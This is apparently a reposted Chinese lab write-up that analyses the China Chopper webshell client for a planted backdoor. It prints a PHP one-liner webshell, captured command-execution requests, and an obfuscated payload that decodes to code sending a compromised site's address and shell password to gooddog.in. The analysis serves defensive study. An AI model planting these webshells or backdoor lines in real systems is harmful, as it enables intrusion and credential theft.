0x00 前言
今日在web课程中看到了分析菜刀后门的实验,然后就跟着实验做了一遍,正好可以学习一下如何分析软件的后门。0x01 基本知识
中国菜刀中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示
winsock expert一个用来监视和修改网络发送和接收数据的程序,WinSock Expert可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据
UPXUPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。通过 UPX 压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。
WiresharkWireshark是免费的网络协议检测分析程序。让您经由程序抓取运行的网站的相关资讯,包括每一封包流向及其内容、资讯可依操作系统语系看出,方便查看、监控TCP session动态等等。
PEID一款专业很好用的查壳软件,几乎可以侦测出所有的壳,其数量已超过470 种PE文档 的加壳类型和签名,另外还可识别出EXE文件是用什么语言编写的,比如:VC++、Delphi、VB或Delphi等。
工具下载地址:
0x02 分析正常菜刀
市面上的中国菜刀有很多版本,有些版本可能会被不发分析植入了后门,那么我们怎么知道自己使用的菜刀会不会被植入了后门尼? 那就来简单的分析下吧,2.1 静态分析中国菜刀
菜刀的文件类型.exe的可执行程序,那么就要分析改工具使用什么语言写的了。 通过peid等工具可以看出来是使用upx加壳了![23c82b4793594074c8f1034276508a19.png](https://i-blog.csdnimg.cn/blog_migrate/a1545cc240dd32a590162cf409645d94.png)
![1ae49f85057f7e7337537172c645759e.png](https://i-blog.csdnimg.cn/blog_migrate/b7fa4f8817f9702b72365280aa811b58.png)
![7b605c4fb2657937b74822009207899c.png](https://i-blog.csdnimg.cn/blog_migrate/24562edad74b535cb0e5a1f8cee8bcdf.png)
![bb1f9fc8ec069ba24729eb82ddb6075b.png](https://i-blog.csdnimg.cn/blog_migrate/90e0a2dac858e1103db469a953810fb5.png)
2.2 动态分析菜刀
环境: 靶机:Windows server 2003 –192.168.1.134 攻击机:Windows 7–192.168.1.131在靶机上写一个php一句话放在网站的根目录下,如caodao.php,内容为
<?php @eval($_POST['chopper']);?>
![2c1a7bf3a6ef41d8ae41cd4f7637a77d.png](https://i-blog.csdnimg.cn/blog_migrate/91618a1347997d1d2374e746392ecc12.png)
![548e8cb82ae3aa26d48ee01e5f7e6dd3.png](https://i-blog.csdnimg.cn/blog_migrate/95d1f4683e5b90e7f6b9ce741351e339.png)
![97e7d9a5cbd27b0919726c57a1697240.png](https://i-blog.csdnimg.cn/blog_migrate/e1cfc49f4319e2a9850dad482d2f368c.png)
![554a00eb0b281e8c0dcd8c088f27bda2.png](https://i-blog.csdnimg.cn/blog_migrate/c8e4b3ab5d1cbe93ff53b62e2f0e8421.png)
![e5db1ca4fcae58535eb5c769a82c3b03.png](https://i-blog.csdnimg.cn/blog_migrate/2850ed61191553bb7bcb7d86dfb07c86.png)
![73ca3edd892286b7935ede746a4e1fcb.png](https://i-blog.csdnimg.cn/blog_migrate/d70e1c0f2ab6852bbefc541449297e9a.png)
![ad49c5d2d91118fe30a29abee0dd141f.png](https://i-blog.csdnimg.cn/blog_migrate/e704075b77b30b41b8ccf2f928373c47.png)
![ec79d435d8b9b252eca21c8472e6761c.png](https://i-blog.csdnimg.cn/blog_migrate/2cc68e5e828488f3d278514df5b69c6c.png)
![cddc4988ab2870ffa68726da6c2d66e8.png](https://i-blog.csdnimg.cn/blog_migrate/fdc6924aa30032182141fd20208e95a3.png)
![596942db729412dba4fe598fbc1f5a6a.png](https://i-blog.csdnimg.cn/blog_migrate/dcc8bfe3a6a6650a45060e2712c56017.png)
z0=@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“>|”);;$p=base64_decode($_POST[“z1”]);$s=base64_decode($_POST[“z2”]);$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;$r=”{$p} {$c}”;@system($r.” 2>&1”,$ret);print ($ret!=0)?”ret={$ret}”:””;;echo(“|
z1=cmd
z2=cd /d “C:\phpStudy\PHPTutorial\WWW"&netstat -an | find “ESTABLISHED”&echo [S]&cd&echo [E]z1的值是cmd, z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示
![d818bbb887c604f2333830ae09ce10f4.png](https://i-blog.csdnimg.cn/blog_migrate/95fe9e755ef3c4f5385103df5290fab7.png)
0x03 分析后门菜刀
为了与前一个菜刀的分析流程进行区分,我们这一步特地选用了另外一个菜刀,使用另外一个抓包软件进行分析。 打开菜刀,启动抓包软件WSockExpert,点击左上角的文件夹图标,选择caidao.exe,点击open即可![65b757227a09445b34016fa53341a6ea.png](https://i-blog.csdnimg.cn/blog_migrate/f91685e13298da3d490361208f8d6c88.png)
![79419b3ddac5f2562f3672d978ac72e4.png](https://i-blog.csdnimg.cn/blog_migrate/e573623f8c974c083c14114560914a4d.png)
![125cec9fc02ffb4fb7b7104b37ab8dfe.png](https://i-blog.csdnimg.cn/blog_migrate/af916b6601ea439278f8c928e1df2dad.png)
a=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwo
YmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd
0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVuYjI5a1pHOW5MbWx1TDBGd2FTNXdhSEEvVlhKc1BTY3VKR
jlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGem
N6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xp
bWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWR
VJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pO
yRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaX
NfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP
0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cn
JlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7
被urlencode+base64了,看着有点乱,先urldecode下:
a=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlM
U1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZD
NkeTVuYjI5a1pHOW5MbWx1TDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlU
wVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5p
X3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUo
MCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGl
ybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2Z
vcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnV
uY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXN
yPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmlud
CAkUjs7ZWNobygifDwtIik7ZGllKCk7_
毫无疑问,我们需要分析的是z0这个被base64的部分,解码看看:
@eval(base64_decode(*aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL
3d3dy5nb29kZG9nLmluL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1
VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9*));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_
runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists(*posix_getegid*))?@posix_getpwuid(@posix_geteuid()):**;$usr=($u)?$u[*name*]:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|
后面一部分是熟悉的菜刀的代码,但前面为什么居然还有一段加密的呢,接着解,解出来的结果
if($_COOKIE[*Lyke*]!=1){setcookie(*Lyke*,1);@file(*http://www.gooddog.in/Api.php?Url=*.$_SERVER[*HTTP_HOST*].$_SERVER[*REQUEST_URI*].*&Pass=*.key($_POST));}
这里的
http://www.gooddog.in/Api.php就是这个菜刀的后门地址。
HTTP_HOST就是我们拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是我们菜刀连接一句话时的密码
这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。
这样,我们就分析出了这个菜刀是存在后门的。
0x04 总结
整个分析的过程,基本上没有什么难的地方。以后在网上下载一些报毒的文件,都可以这样来分析一下会不会被植入了后门,像前一阵子的phpstudy一样,引起了很大的风波。0x04 参考链接
http://www.hetianlab.com/expc.do?ce=85d14d4e-5b36-42b9-9415-453efa35de60 作者:madcoding ,转载自 madcoding’s blog扫描关注乌云安全
觉得不错点个“赞”、“在看”哦